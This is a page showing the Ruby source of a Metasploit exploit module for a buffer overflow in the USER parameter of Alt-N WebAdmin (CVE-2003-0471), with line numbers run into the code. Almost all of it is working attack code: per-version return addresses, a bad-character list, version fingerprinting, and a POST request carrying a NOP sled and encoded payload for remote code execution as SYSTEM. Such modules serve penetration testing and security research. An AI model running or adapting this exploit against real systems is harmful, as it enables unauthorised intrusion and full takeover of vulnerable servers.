Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/altn_webadmin.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Alt-N WebAdmin USER Buffer Overflow',13'Description' => %q{14Alt-N WebAdmin is prone to a buffer overflow condition. This15is due to insufficient bounds checking on the USER16parameter. Successful exploitation could result in code17execution with SYSTEM level privileges.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2003-0471' ],24[ 'OSVDB', '2207' ],25[ 'BID', '8024'],26[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 830,36'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",37'StackAdjustment' => -3500,3839},40'Platform' => 'win',41'Targets' =>42[43['Automatic', {}],44['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll45['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll46['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll47['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll48],49'DefaultTarget' => 0,50'DisclosureDate' => '2003-06-24'))5152register_options([Opt::RPORT(1000)])53end5455def exploit5657mytarget = target5859if (target.name =~ /Automatic/)60res = send_request_raw({61'uri' => '/WebAdmin.DLL'62}, -1)6364if (res and res.body =~ /WebAdmin.*v(2\..*)$/)65case $166when /2\.0\.4/67mytarget = targets[1]68when /2\.0\.3/69mytarget = targets[2]70when /2\.0\.2/71mytarget = targets[3]72when /2\.0\.1/73mytarget = targets[4]74else75print_error("No target found for v#{$1}")76return77end78else79print_error("No target found")80end81end8283user_cook = rand_text_alphanumeric(2)84post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded85post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'8687print_status("Sending request...")88res = send_request_cgi({89'uri' => '/WebAdmin.DLL',90'query' => 'View=Logon',91'method' => 'POST',92'content-type' => 'application/x-www-form-urlencoded',93'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",94'data' => post_data,95'headers' =>96{97'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',98'Accept-Language' => 'en',99'Accept-Charset' => 'iso-8859-1,*,utf-8'100}101}, 5)102103handler104end105end106107108